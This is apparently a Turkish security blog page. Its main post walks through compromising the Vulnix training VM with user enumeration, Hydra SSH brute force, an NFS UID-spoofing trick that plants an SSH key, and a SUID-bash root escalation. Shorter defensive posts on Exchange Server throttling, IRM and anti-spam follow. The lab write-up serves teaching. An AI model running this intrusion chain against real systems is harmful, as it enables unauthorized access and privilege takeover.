İpucu: Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu

Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Burada amaçlanan zafiyetlerin tespiti ve bunların kullanılması ile birlikte muhtemel false-positive'lerin ayıklanması ve önem seviyesi çok daha yüksek hedeflere yetkili erişimin sağlanması, dolayısıyla kötü niyetli saldırganların yapabileceklerinin bir benzetiminin ortaya konulmasıdır.

Bu blog notunda, kurumsal ortamlarda her ne kadar Windows sistemlere nazaran çok daha sınırlı kullanım alanına sahip olsa da veritabanı, middleware vb. için sıklıkla tercih edilen Linux sistemler üzerinde örnek bir sızma testinin nasıl gerçekleştirilebileceğine değinilecektir.

Linux sistemleri için sızma sürecinde ilk hedef, sisteme bir şekilde giriş hakkı elde etmektir. Bu işlem tamamlandıktan sonra mevcut kullanıcının haklarının arttırılması amaçlanır. Örneğin çekirdek (kernel) sürümünün incelenerek hak yükseltmeye imkan tanıyan zafiyetlerinin belirlenmesi ve varsa kullanılarak root haklarına erişilmesi en klasik yollardan biridir.

Burada üzerinde çalışılacak Vulnix dağıtımı 10/09/12 tarihinde yayınlanmış olup üzerinde belirli açıklıkları barındıran eğitim amaçlı bir Ubuntu dağıtımıdır. Genel özellikleri aşağıdaki gibi olup imaj bağlantıdan temin edilebilir. CTF uygulaması olarak düşünülebilecek bu imajda asıl amaç /root dizini altında bulunan trophy dosyasının içeriğine erişmektedir.

Mimari: x86
Biçim: VMware (vmx & vmdk)
RAM: 512MB
Network: NAT
Boyutu: 194MB – 7zip
Çıkarılmış hali: 820MB

Sızma testi boyunca Backtrack5r3 Linux dağıtımı ve üzerindeki araçlar kullanılacaktır. BT5 imajına bağlantıdan erişebilirsiniz.

Vulnix imajı temin edilip sıkıştırılmış halinden çıkarıldıktan sonra VMWare Workstation üzerinde File>Open sonrası çıkan menüde Vulnix.vmx dosyasının yolu belirtilerek çalıştırılır. Veya bu dosyayı doğrudan çift tıklayarak ta açabilirsiniz.

Vulnix sanal makinesinin bilgileri aşağıda görüldüğü gibidir.

Burada dikkat edilecek husus ağ bağlantısının NAT modunda bırakıldığıdır. Dolayısıyla host bilgisayarınızda NAT ağı olarak hangi ağı belirttiyseniz Vulnix o ağdan otomatik olarak IP alacaktır. Bu ağın hangi subnet olduğunu görmek için Workstation üzerinde Edit>Virtual Network Editor bağlantısından sonra görülebilecek aşağıdaki gibi bir ekran yeterlidir.

Örneğimizde Vulnix imajının 192.168.1.0/24 aralığından IP adresi alacağı görülmektedir. Ortamımız hazır olduğuna göre klasik adımları takip ederek sızma testine başlayabiliriz.

1. Keşif ve IP/Port Tarama

Bu adımda Nmap aracı kullanılarak Vulnix imajının hangi IP adresini aldığı ve üzerindeki servis veren açık portlar belirlenecektir. Bunun için BT5 üzerinden parametreleri aşağıdaki gibi ayarlanmış bir Nmap taraması yapılabilir.

root@agguvenligi:~# nmap -sT -n --top-ports 1000 -T4 -O --open 192.168.1.0/24

Tarama sonrası ekran görüntüsü aşağıdaki gibi olmaktadır.

2. Servisler Üzerinden Bilgi Toplama

a. SMTP

SMTP sunucular üzerinde kullanılabilecek VRFY komutu sunucu üzerindeki mevcut kullanıcıların varlığını belirlemek amacıyla kullanılabilir. Komut aşağıdaki gibi kullanılabilir. Eğer kullanıcı sistem üzerinde mevcutsa 252 cevabı dönerken bulunamaması durumunda 550 cevabı alınacaktır.

root@agguvenligi:~# telnet hedef_ip_adresi 25
vrfy geçerli_kullanıcı_adı
vrfy geçersiz_kullanıcı_adı

Örnek bir tarama sonucu aşağıdaki gibidir (IP değeri mevcut Vulnix sunucusuna göre değişiklik göstermektedir):

Bu işlemi belirli bir sözlük kullanarak otomatik olarak gerçekleştirmek için Metasploit içersindeki auxiliary/scanner/smtp/smtp_enum modülü kullanılabilir.

msf> use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(smtp_enum) > set RHOSTS 192.168.1.101
msf auxiliary(smtp_enum) > run

Manuel olarak yapılan örnekte user ve vulnix kullanıcılarının sistem üzerinde olduğu görülmektedir.

b. FINGER

Bilgi toplama için kullanılabilecek diğer bir servis sistem üzerinde açık olduğu görülen finger servisidir. Bu servis Linux sistem üzerindeki mevcut kullanıcılara dair bilgileri sunan tehlike arz edebilecek bir servistir. Manuel olarak yapılan kontrolde

root@agguvenligi:~# finger -l -p vulnix@192.168.1.101

komutu çalıştırılır. Eğer finger paketi sistemde yüklü değilse aşağıdaki gibi bir hata alınır. Bu durumda, (ağ adaptörü internete çıkacak şekilde ayarlandıktan sonra) finger paketi yüklenmelidir (IP değeri mevcut Vulnix sunucusuna göre değişiklik göstermektedir):

Böylece, Finger komutu çalıştırılarak vulnix kullanıcısına dair bilgiler finger servisinin verdiği şekliyle aşağıda görüldüğü gibi olmaktadır. Sonuçtan bu kullanıcının sistemde kabuk çalıştırmasının mümkün olduğu görülmektedir.

Not: SMTP servisindeki zafiyet sebebiyle elde edilen kullanıcı isimleri (root, backup, bin ve daemon) denendiğinde aynı sonuçlar elde edilmektedir.

Bir sözlük yardımıyla bu işlemi otomatik hale getirmek için aşağıdaki gibi bir komut seti kullanılabilir. Bu şekilde sözlük içerisindeki bütün kullanıcı adlarının finger servisi ile hedef sistem üzerinde var olup olmadığı keşfedilebilir.

root@agguvenligi:~# cat /opt/metasploit/apps/pro/msf3/data/wordlists/unix_users.txt | while read username; do finger -l -p $username@192.168.1.101 | grep -Ev "101|no such user|No one logged on|No mail|No Plan"; done

Finger servisine yönelik sözlük saldırısı için Metasploit içerisinde mevcut bir modül olan auxiliary/scanner/finger/finger_users modülü kullanılabilir. Kullanımı şu şekildedir:

msf> use auxiliary/scanner/finger/finger_users
msf auxiliary(finger_users) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf auxiliary(finger_users) > run

3. Sızma Denemesi

a. SSH

İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldırılarda kullanılabilecek örnek bir sözlük /pentest/passwords/wordlists dizini altında bulunmaktadır. Bunun yerine kendi oluşturduğunuz bir sözlüğü kullanmanız da mümkündür.

Hydra aracı bu tür saldırılar için kullanılabilecek performanslı bir araçtır. Aşağıdaki şekilde Vulnix üzerinde uygulanabilir.

root@agguvenligi:~# cd /pentest/passwords/wordlists/
root@agguvenligi:/pentest/passwords/wordlists# hydra -L darkc0de.lst -P darkc0de.lst -S 192.168.1.101 ssh

Komut çalıştırıldıktan sonra bulunan kullanıcı adı ve parola bilgisi aşağıdaki gibi gözükmektedir.

Not: Backtrack üzerindeki "/pentest/passwords/wordlists/darkc0de.lst" dosyasında 1,7 milyondan fazla satır olduğundan "hydra" aracının kullanımı oldukça uzun sürebilmektedir.

b. RLOGIN

Vulnix üzerinde açık olduğunu belirlenen bir diğer serviste Rlogin (TCP/513) servisidir. Bu servis doğru kullanıcı adının bilinmesi halinde parolasız olarak sisteme erişim yetkisi veren tehlikeli olabilecek bir servistir. Bir önceki adımda elde edilen SSH bilgileri (kullanıcı adı: user, parolası: letmein) ile sisteme erişildiğinde user kullanıcısının sisteme Rlogin ile erişme hakkının olduğu görülebilir.

Bu servise yönelik sözlük saldırısı için Metasploit içerisindeki mevcut modüllerden biri olan auxiliary/scanner/rservices/rlogin_login modülü de kullanılabilir. Kullanımı şu şekildedir:

msf > use auxiliary/scanner/rservices/rlogin_login
msf auxiliary(rlogin_login) > set RHOSTS 192.168.1.101
msf auxiliary(rlogin_login) > run

Not: Bu modülün çalıştırılması sonucunda Vulnix üzerinde herhangi bir kimlik bilgisi tespit edilemeyecektir. Bu modül, "FROMUSER_FILE" olarak belirtilen dizindeki (/opt/metasploit-4.4.0/msf3/data/wordlists/rservices_from_users.txt) kimlik bilgilerini aramaktadır ve bu dosyada normalde 7 tane hesap adı bulunmaktadır.

Metasploit modülü ile de bulunan user kullanıcısının Vulnix sisteme rlogin yapabilmesi için PuTTY üzerinde aşağıdaki adımlar takip edilebilir.

Bu işlemlerden sonra bağlantı sağlanmaktadır.

c. NFS

Son giriş kapısı olarak NFS (Ağ Dosya Paylaşımı , TCP/2049) servisini inceleyeceğiz. İlk olarak Kali üzerinden hedef sistemin paylaşımda neler sunduğu sorgulanabilir. Bunun için aşağıdaki komut kullanılabilir.

root@agguvenligi:~# showmount -e 192.168.1.101

Bu çıktı, vulnix kullanıcısının ev dizininin paylaşıma açık olduğu anlamına gelmektedir. Paylaşıma açık bu dizini Kali üzerine bağlamak için aşağıdaki komut kullanılabilir.

root@agguvenligi:~# mkdir /mnt/nfs
root@agguvenligi:~# mount 192.168.1.101:/home/vulnix /mnt/nfs

Sonraki adımda bu dizine erişilmek istenildiğinde "Permission Denied" hatası alınacaktır. Bu hata paylaşılan dizini sunan kullanıcı ile aynı UID değerine sahip kullanıcının BT5 üzerinde bulunmamasından kaynaklanmaktadır.

Bu hatayı aşmak için görülen UID değerinde (2008) BT5 üzerinde yeni bir kullanıcı oluşturulmalıdır.

root@agguvenligi:~# useradd -m agguvenligi -u 2008
root@agguvenligi:~# su - agguvenligi

Bu aşamadan sonra ilgili klasöre erişilebildiği görülebilecektir.

Bağlanan dizin Vulnix kullanıcısının ev dizini olduğu için altında .ssh dizini oluşturarak BT5 üzerinde oluşturulacak public/private anahtar çiftinin bu dizine kopyalanması ile sonrasında parolasız olarak sisteme erişim sağlanabilir.

Bunun için öncelikle BT5 üzerinde anahtar çiftinin oluşturulması gerekir.

Aşağıdaki komut ile birlikte oluşturulan anahtar Vulnix makinesinin içerisine kopyalanır. ("/mnt/nfs" dizini, Vulnix sunucu üzerindeki "/home/vulnix" dizini olarak mount edilmişti.). Bunun için öncelikle mount dizinine ".ssh" adlı bir klasör oluşturulur. Sonrasında da kopyalama işlemi gerçekleştirilir.

agguvenligi@agguvenligi:/$ mkdir /mnt/nfs/.ssh

agguvenligi@agguvenligi:/$ cat .ssh/id_rsa.pub > /mnt/nfs/.ssh/authorized_keys

Anahtar kopyalandıktan sonra aşağıdaki gibi bir komutla sisteme anahtar dosyası ile parola bilmeksizin bağlanılabilir.

root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh//id_rsa vulnix@192.168.1.101

Bağlantının gerçekleştiği kullanıcıya ait hesabın ID değerinin 2008 olduğu görülmektedir.

4. Yetki Yükseltme

Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya da diğer tabiri ile root olmak olacaktır. Bunun için öncelikle eldeki hesabın neler yapabildiğinin belirlenmesi gerekmektedir. Bunun için sudo -l komutundan faydalanılabilir.

Komut çıktısına dair ekran görüntüsünde de görüldüğü gibi, vulnix kullanıcısının /etc/exports dosyasını root hakları ile parolasız olarak düzenleme hakkı vardır. Dosya içeriğine bakıldığında NFS paylaşımının root_squash opsiyonuyla yapıldığı yani NFS paylaşımına uzak makineden root hakları ile bağlanılsa dahi paylaşım üzerinde root gibi işlem yapılamayacağı görülmektedir.
Aşağıdaki komut ile ilgili dosyaya erişerek belirtilen bu opsiyonu etkisiz hale getirmek ve paylaşım üzerinde root haklarıyla işlem yapmak mümkün olmaktadır.

vulnix@vulnix:~$ sudoedit /etc/exports

Değiştirilen yapılandırmaların geçerli olması NFS servisi yeniden başlatılmalıdır. Vulnix hesabı sınırlı bir hesap olduğu için öncelikle paylaşım BT5 üzerinden umount edildikten sonra Vulnix sanal makinası yeniden başlatılmalıdır.

root@agguvenligi:~# umount /mnt/nfs

Sunucu tekrar başladıktan sonra BT5 üzerinden NFS paylaşımına tekrar erişim sağlanır. Dizin içeriği listelenmeye çalışıldığında eskisinin aksine artık sorunsuz bir şekilde dizin içinde dosyaların listelendiği görülmektedir.

Sistem üzerinden shell almak için BT5 üzerinden bash çalıştırılabilir dosyası hakları 4777 olacak şekilde hedefe kopyalanır. Burada dosyaya herkes tarafında yazma-okuma-çalıştırma hakları verilmiş olup ayrıca çalıştırana dosya sahibinin haklarıyla işlem yapmasını sağlayacak şekilde (örneğimizde root) SUID biti etkin duruma getirilmiştir. Bunun için aşağıdaki komutlar kullanılabilir.

root@agguvenligi:/mnt/nfs# cp /bin/bash .
root@agguvenligi:/mnt/nfs# chmod 4777 bash

Son adımda daha öncede yapıldığı gibi vulnix kullanıcısı ile hedef sisteme SSH bağlantısı kurulmalıdır. Sonrasında hedefe kopyalamış olduğumuz bash kabuğu çalıştırılarak root kullanıcısının ev dizininde yer alan bayrak dosyası trophy.txt ve içeriğine erişim sağlanabildiği görülebilir.

Vulnix makinesi 32bit işletim sistemine sahip olduğu için üzerine kopyalanan bash dosyası da 32bit olmalıdır. Aksi halde "-bash: ./bash: cannot execute binary file" şeklinde bir hata ile karşılaşılacaktır:

root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh/id_rsa vulnix@192.168.1.101
vulnix@vulnix:~$ ./bash -p
bash-4.2# id
bash-4.2# cat /root/trophy.txt

Kaynak:
http://www.agguvenligi.net/2013/08/vulnix-tutorial-I.html
http://www.agguvenligi.net/2013/08/vulnix-tutorial-II.html
http://www.agguvenligi.net/2013/08/vulnix-tutorial-III.html

Exchange Server: Throttling Parameters and Policies

Exchange Server: Throttling Parameters and Policies

Exchange ortamındaki kaynaklar sistemin performansı üzerinde önemli bir role sahiptir. Bu kaynakların en uygun şekilde kullanılması gerekmektedir. Aksi halde güvenliğin temellerinden olan “Availability” zarar görür. Bu sebeple; HTS, ETS, MBS ve CAS üzerinde kaynak kontrolü için Throttling  İlkeleri adı verilen kurallar uygulanmaktadır. Kısacası, Throttling ilkeleri sunucularda kaynakların yetersiz durumuna gelmesini önlemek için posta ve bağlantılara konulan limittir. Böylece hem DoS gibi saldırılara karşı önlem alınmakta, hem de sistemin işleyişi kontrol altında tutulmaktadır.
Microsoft Exchange Throttling servisi, MBS üzerinde çalışması gereken kritik bir servistir.

HTS & ETS için kurallar
Bu sunucular taşıdıkları postalar için maliyet bilgisini tutarlar. Taşınan postanın maliyeti yüksek ise öncelik maliyeti daha düşük olan postaya verilir. Bu önceliklendirmenin yanında bir takım kısıtlar uygulanır. Bu kısıtlar, HTS ve ETS rollerine sahip sunucularda bulunan Send ve Receive Konektörleri üzerinde uygulanmaktadır. Uygulanabilecek bazı kısıtlamalar şu şekildedir:

• HTS’nin, MBS’a posta göndermek için veya MBS’dan mail alabilmek için açabileceği en fazla iş parçacığı(threads) sayısı kısıtlanmalıdır.
• ETS’a veya HTS’a  bir dakikada açılabilecek en fazla bağlantı sayısı kısıtlanabilir. Bu kısıtlama gelen postalar için Receive Konektör’de, giden postalar için Send Konektörde ayarlama yapılmalıdır. Ayrıca kısıtlama belli bir kaynak veya hedef ile olan iletişim için de belirlenebilir. Limit belirtilmezse, saldırı sırasında bağlantı sayısı çok artış gösterir ve posta ile iletişim gerçekleştirilemez. Ayrıca belli bir domaine giden posta sayısının kısıtlanması da sağlanmalıdır.
• Açık bir SMTP bağlantısının posta alımı veya gönderimi yapılmadan geçen süre için zaman aşımı uzunluğu kısıtlanmalıdır.
• Posta alınmasının devam etse bile, Receive Konektörü’nün bir bağlantıyı sürdürmesi için gerekli zaman aşımı süresi kısıtlanmalıdır.
• Bir SMTP bağlantısı boyunca, Send Konektör’ünden gönderilebilecek en fazla posta sayısı kısıtlanmalıdır.
• Tarpitting aralığı makul bir süre olarak belirlenmelidir.

CAS & MBS için kurallar
Bir kullanıcının yapacağı işlem tüm sistem üzerine çok büyük bir yük getirebilir. Örneğin bir arama işlemi bile sistemi çok fazla yorabilir. MBS, RPC yoğunluğunun arttığını tespit ettiğinde kaynak kısıtlamasına giderek interaktif kullanıcılara öncelik verir. Bu önceliklendirmenin yanında bir takım kısıtlar uygulanır. Uygulanabilecek bazı kısıtlamalar şu şekildedir:

• POP3 komut büyüklüğü kısıtlanmalıdır.
• Sunucunun kabul edeceği gelebilecek POP3 ve IMAP4 bağlantı sayısı kısıtlanmalıdır. Bu kısıtlama IP bazında, kullanıcı bazında veya toplam bağlantı sayısı bazında gerçekleştirilmelidir.
• CAS bağlantısı öncesi, kimlik doğrulama süresi kısıtlanmalıdır.
• CAS bağlantısı olan kullanıcının oturumu, bir süre işlem yapılmazsa zaman aşımına uğramalıdır.
• Bir istemcinin CAS üzerinde gerçekleştireceği işlemlerin süresi kısıtlanmalıdır. Bu süre; AD ile olan kimlik doğrulama için gerekli LDAP sorgu süresi, MBS ile olan RPC talebi süresi ve CAS üzerinde gerçekleştirilen işlemler için geçen sürenin toplamıdır. Bu süreler için kısıtlama ayrı ayrı olarak da gerçekleştirilmelidir.
• Bir kullanıcının postayı en fazla iletebileceği ve gönderebileceği alıcı sayısı kısıtlanabilir. Bunun yanında bir kullanıcının gönderebileceği en fazla posta sayısı için de kısıt uygulanabilir.
• ActiveSync  ile kurulabileceği ve silebileceği ortaklık sayısı kısıtlanabilir.
• Exchange Web Services, OWA, POP, RCA (RPC Client Access) veya ActiveSync kullanıcısının aynı anda yapabileceği bağlantı sayısı kısıtlanabilir.
• Bir posta içeriğinin veya ekinin büyüklüğü kısıtlanmalıdır. Böylece hem MBS üzerinde kaplanılan alan, hem de kullanılan bant genişliği kontrol altına alınır.

Parametreler ayarlanırken hiçbir parametre değerinin $null olarak ayarlanmaması tavsiye edilmektedir.

Exchange Server: Information Rights Management (IRM)

Exchange Server: Information Rights Management (IRM)

Mesajlaşma güvenliği için kullanılan tekniklerin bir takım eksiklikleri bulunmaktadır. Örneğin, TLS ile, iki SMTP makinesi arasındaki SMTP trafiği korunabilmektedir. Posta seviyesinde bir koruma gerçekleştirilememektedir. Posta, istemci tarafına ulaştıktan sonra herhangi bir koruma sağlamamaktadır. S/MIME ile PKI kurulmasında ise özel anahtarların saklanması, yapılan işlemlerin maliyeti problem olmaktadır. Bunun yanında posta deşifre edildikten sonra herhangi bir kontrol mekanizması da sunulmamaktadır. Posta şifresiz olarak kopyalanabilir, çıktı olarak alınabilir veya bir başka kullanıcıya iletilebilir. Kısacası, TLS ve S/MIME gibi güvenlik metotlarının belirtilen sınırları için yeni bir teknik uygulanmaya başlanmıştır: Information Rights Management (IRM)
IRM ile veri kaçağına, imaj kaybına, finansal kayba karşı önlem alınır.

IRM ile posta gönderildikten sonra, alıcı tarafında posta içeriği ve ekleri üzerinde ne gibi işlemlerin gerçekleştirilebileceği belirlenebilir. IRM kısıtları şu şekildedir (Bunlar AD RMS için geçerli):

• Full Control: Her işlem gerçekleştirilebilir.
• View: İçerik açılabilir.
• Edit: İçerik değiştirilebilir.
• Save: Kaydedilebilir.
• Copy: İçerik kopyalanabilir.
• Save: Kaydedilebilir.
• Print: İçerik çıktısı alınabilir.
• Access the message programmatically: Makro gibi programlar çalıştırılabilir.
• Forward: Posta iletilebilir.
• Reply: Gönderene cevap verilebilir.
• Reply All: Gönderene alıcı listesindekilerle beraber cevap gönderilebilir.

IRM ajanları HTS üzerinde çalışır. Bunun yanında, Active Directory Rights Management Services (AD RMS) ile de kullanılabilir. IRM koruması, AD RMS ilkelerinde belirlenerek gerçekleştirilir. IRM koruması Exchange Server 2010 ortamında şu yollarla gerçekleştirilebilir:

• Outlook kullanıcıları manuel olarak IRM korumalı posta oluşturabilirler.
• OWA kullanıcıları manuel olarak IRM korumalı posta oluşturabilirler.
• ActiveSync aygıtları ve Windows Mobile kullanıcıları manuel olarak IRM korumalı posta oluşturabilirler. Windows mobile desteği olmayan cihazlarla da bu mesajlar alınabilir ve görüntülenebilir. Bunun için posta indirilmeden önce CAS’a SSL ile bağlanılmalıdır. Posta şifresi bağlantı kurulduktan sonra  çözülmektedir.
• Outlook 2010 kullanıcıları kural oluşturarak otomatik olarak IRM korumalı posta oluşturabilirler.
• Exchange Server 2010 HTS rolüne sahip sunucuda iletim kuralları ile otomatik olarak IRM korumalı posta oluşturulabilinir. 

IRM korumalı posta iletişimi organizasyon dahilindeki etki alanında, farklı forest’ları arasında, bulut tabanlı Exchange ortamları arasında gerçekleşebilir. Farklı bir federasyonda veya güven ilişkisinin olmadığı sistemlerle olan iletişimde kullanılamaz. Kullanılması için Windows Live ID hesabı ile AD RMS arasında bir güven kurulabilir.
IRM ile posta içeriğinin organizasyon tarafınca okunabileceği de unutulmamalıdır. Bu sebeple, S/MIME koruması aksine, IRM korumalı içerik deşifre edilerek taranabilir, politikalara göre filtreleme gerçekleştirilebilir. Ayrıca yasal denetimler için de kullanılabilir.

IRM’in eksiklikleri şunlardır:

• Postanın Windows Snipping Tool harici 3. taraf bir ekran kopyalama aracı ile ekran görüntüsü alınabilir.
• Kamera veya fotoğraf makinesi ile posta görüntülenebilir.
• El ile yazılarak veya ezberlenerek veri kaçağı gerçekleşebilir.
• Bir zararlı tarafından posta içeriği silinebilir, çalınabilir, bozulabilir.

Exchange Server: Anti-Spam Koruması (2)

Exchange Server: Anti-Spam Koruması (2)

Connection Filtering
Bağlantıyı doğrulayan filtredir. Postanın bu filtreye takılmadan yoluna devam edebilmesi için sırayla 4 kontrol gerçekleştirilir. Bu kontroller şunlardır:

• IP Allow Lists: Güvenilir IP adreslerinin tutulduğu statik listedir. Bu listeye beraber iş yapılan organizasyonların SMTP sunucularının IP kayıtları girilebilir. Bu kontrol atlatıldığı zaman diğer kontroller gerçekleştirilmeden sonraki filtreye geçilir.
• IP Block Lists: Güvenilmeyen IP adreslerinin tutulduğu statik listedir. Bu listeye spam gönderen veya iletişim kurulması istenmeyen SMTP sunucularının IP kayıtları girilebilir. Bu kayıt değeri için sona erme (expire) zamanı ayarlanarak geçici süreli blok listesi oluşturulabilir. Bu kontrolden kalındığı zaman diğer filtreler uygulanmadan posta reddedilir.
• IP Allow List Provider Services: 3. taraf sağlayıcılar, güvenilir IP adreslerinin kayıtlarını bir liste olarak tutarlar. Bu listenin güncelliği ve güvenilirliğinden bu sağlayıcılar sorumludurlar. Bu sağlayıcıların oluşturduğu listeler kullanılarak güvenilir IP adreslerinin tutulduğu dinamik bir liste elde edilir. Bu kontrol atlatıldığı zaman diğer kontroller gerçekleştirilmeden sonraki filtreye geçilir. 
• IP Block List Provider Services: 3. taraf sağlayıcılar, güvenilir olmayan IP adreslerinin kayıtlarını da bir liste olarak tutarlar. Bu kontrolden kalındığı zaman diğer filtreler uygulanmadan posta reddedilir. Çok fazla sayıda liste sağlayıcının kullanılması doğrulama sürecini arttıracağı göz önünde bulundurularak, en fazla 3 tane sağlayıcının kullanılmasına özen gösterilmelidir.

False-pozitif sonuçların azaltılması için denetim kayıtları (loglar) sık sık kontrol edilmeli, gereksiz yere engellenen IP adreslerinden yasak kaldırılmalıdır. Ayrıca logların çok fazla artabileceği ve kontrol altına alınması gerektiği de unutulmamalıdır.

Sender Filtering
“Mail From” ile belirtilen gönderici mail adresinin veya gönderici etki alanının iznine göre postayı filtreler. Gönderici bilgisi engelli listesinde ise diğer filtreler uygulanmadan posta reddedilir. Gönderici bilgisi olmayan postalar engellenecek şekilde ayarlama yapılmalıdır. Bunun için “Block Messages That Don't Have Sender Information” seçeneği işaretlenmelidir.

Recipient Filtering
“Rcpt to” ile belirtilen alıcı posta adresinin iznine göre postayı filtreler. Alıcı bilgisi engelli listesinde ise diğer filtreler uygulanmadan posta reddedilir. Alıcısı etki alanında kullanıcısı olmayan postalar engellenecek şekilde ayarlama yapılmalıdır. Bunun için “Block Messages Sent To Recipients That Don't Exist In The Directory option in Recipient” seçeneği işaretlenmelidir.
Bu seçeneğin ayarlanması ile gönderici tarafa kullanıcının bulunmadığı bilgisi gönderilecektir. Böylece kötü niyetli bir kişi organizasyondaki kullanıcıların listesini elde edebilir. Bu saldırılara DHA (Directory Harvesting Attack) adı verilir. Bu saldırılardan korunmak için gönderici SMTP sunucusuna dönülen olumlu (“250 2.1.5 Recipient OK”) veya olumsuz (“550 5.1.1 User Unknown” ) cevap gecikmeli olarak verilmelidir. Bu gecikme süresi, Recieve Connector’ler üzerinde tanımlı olup, varsayılan olarak 5 saniyedir. Bu tekniğe Tarpitting adı verilir. Bu teknik sayesinde, kullanıcılarımızın mail adresleri spam listelerinde yer almamış olur.

Sender ID Filtering
Postanın gönderildiği SMTP sunucunun IP bilgisi ile host adını karşılaştırarak postayı filtreler. Host adı ve IP bilgisi eşleşmiyor ise posta reddedilebilir, silinebilir, SMTP kimlik doğrulamasının yapılmadığına dair bilgilendirme eklenerek bir sonraki filtreleme adımına ilerletilebilir. Postanın silinme durumunda göndericiye NDR (Non Delivery Report) gönderilecektir.
Bu filtreleme sayesinde domain adı spoofing ve phishing saldırılarına karşı etkili bir koruma mekanizması sağlanmaktadır. Bu amaçla SPF (Sender Policy Framework) kayıtları kullanılmaktadır. Bu kayıtlar posta gönderen kullanıcıların, posta gönderirken sizin organizasyonunuza ait SMTP sunucusundan postanın sizin organizasyonunuzdan gönderilmiş gibi gösterilmesinin önüne geçer. SPF kaydı, etki alanındaki her SMTP sunucusu için DNS veritabanına TXT olarak girilir. Böylece organizasyonunuzun SMTP sunucusundan mail atılıyormuş gibi mail gönderilmesi gerçekleşemez ve organizasyonunuzun marka değeri korunmuş olur. Ayrıca SMTP sunucunuzun kara listelere girmesinin önüne geçilir. SMTP sunucunuzun kara listeye girmesi sonucunda spam maili gönderen taraf olunmadığının ispatlanması için büyük zaman kayıpları yaşanabilmektedir.
Bunun yanında SPF kaydı gibi DomainKeys Identified Mail (DKIM) ve DCOM kayıtları da benzer şekillerde gönderici tarafın kimlik doğrulamasında kullanılmaktadır.

Content Filtering
SmartScreen teknolojisi Microsoft tarafından geliştirilmiş ve içerik filtreleme için kullanılan bir teknolojidir. Exchange Server 2010 üzerindeki SmartScreen teknolojisinin adı “Akıllı ileti Filtreleme (Intelligent Message Filter)“ iken, Outlook tarafında ise “Gereksiz Mail (Junk Mail)” olarak geçer. İçerik filtreleme ile posta içeriğinde belli kelimelere göre filtreleme yapılabileceği gibi, belirlenen alıcılar bu filtrelemeden hariç tutulabilir.Filtreleme işleminde SCL (Spam Confidence Level) adı verilen bir değer belirleyici kullanılır. SCL değeri -1 ile 9 arasındadır. İç sistemler, kimliği doğulanmış kaynaklar veya Connection Filtering kısmında güvenilir olduğu belirlenmiş kaynaklarla olan iletişimler için SCL değeri -1’dir ve spam tehlikesi taşımamaktadır. 0 değeri Microsoft ile olan mesajlaşmada kullanılır ve spam tehlikesi taşımamaktadır. SCL değeri 1-4 arasında ise bu postanın spam olma ihtimali düşükken, 5-9 olması durumunda ise yüksektir. SCL değeri belirlenen eşik değerinin üzerinde ise, yapılan ayarlara göre posta silinir, karantinaya alınır, reddedilir, kullanıcı “Genel Kutusu” ‘na iletilebilir veya “Junk Mail” kutusuna iletilebilir.

Sender Reputation
Postanın gönderildiği gönderici hakkında 48 saat bilgi toplanmasına dayanır. Bu süre boyunca posta engelli tutulur ve SRL (Sender Reputation Level) hesaplanır. SRL değeri 0-9 arasında olup, 0 olması durumunda posta spam değilken, 9 olması durumunda ise büyük ihtimalle spamdir. İlk defa posta gönderen bir SMTP sunucusunun SRL değeri 0’dır. Sonraki mail gönderimlerinde ise SRL değeri 4 kritere göre belirlenir:

• HELO/EHLO analizi: SMTP komutlarından olan HELO ve EHLO ile postanın gönderildiği SMTP sunucusunun IP, domain gibi bazı bilgileri elde edilebilir. Bu bilgilerin birden fazla olması veya mailin gerçekten gönderildiği SMTP sunucusundan farklı olması durumunda postanın spam olma ihtimali artmaktadır.
• Reverse DNS Lookup: Postanın gönderildiği IP adresinin, HELO ve EHLO komutlarının içerisindeki domain adına kayıtlı olmaması durumunda SRL değeri arttırılmaktadır.
• SCL değeri: Content Filter ajanı tarafından hesaplanan SCL değerine göre SRL hesaplanır.
• Open Proxy Testi: ETS rolündeki sunucu gönderici SMTP sunucusunun relay, diğer bir deyişle proxy sunucusu olup olmadığını kontrol eder. Gönderici SMTP sunucusu üzerinden kendisine posta yollar ve posta kendisine ulaşırsa SMTP sunucusunun proxy sunucu üzerinden geldiğini doğrular ve postanın SRL değerini arttırır.

Spam olması durumunda göndericiye SMTP IP adresi otomatik olarak IP Blok liste eklenir.

Attachment Filtering
Edge Transport sunucuda posta eklerine göre filtrelenebilir. HTS rolüne sahip sunucuda Anti-Spam kullanılsa dahi bu filtre uygulanamaz. Postaya 3 kritere göre filtreleme uygulanır:

• Adına göre (viagra,… vs)
• Uzantısına göre (*.exe,… vs). Dosya uzantısı değiştirilse bile gerçek dosya tipi tespit edilerek filtre uygulanmaktadır. Bunun yanında sıkıştırılmış dosyalar içerisindeki uzantıların da kontrolü gerçekleştirilmektedir.
• MIME içerik tipine göre (image/jpeg,… vs)

Ek içeriğine göre filtreleme için bu filtre kullanılamaz. Bunun için Transport kuralları kullanılmalıdır.

• Filtreleme sonucunda 3 aksiyon gerçekleştirilebilir:
• Ek çıkartılarak posta kullanıcıya gönderilebilir.
• Posta engellenir ve postayı gönderene posta içerisinde istenmeyen türde bir ek bulunduğu bildirilebilir.
• Alıcı ve göndericiye geri bildirimde bulunulmadan posta silinir.

Exchange Server: Giriş

Exchange Server: Giriş

E-Posta Sistemleri 
Günümüzde sosyal mühendislik gibi bir çok saldırı posta yolu ile gerçekleşmektedir. Bu sebeple posta sunucularının güvenliğine önem vermek gerekmektedir.

Elektronik posta (e-posta) sistemleri iki öğeden oluşur:

• Elektronik posta sunucular (mail server) : Exchange Server, Lotus Notus Mail Server, Send Mail, Qmail ve Postfix gibi genellikle sunucu üzerinde çalışan ve e-posta hizmeti veren programlardır.
• Elektronik posta istemciler (mail client) : Outlook Express, Thunderbird, PowerMail gibi kullanıcı bilgisayarlarında çalışan ve adımıza açılmış olan bir e-posta hesabına erişmek için kullandığımız uygulama programlarıdır.

Güvenilir Bilgi İşleme 
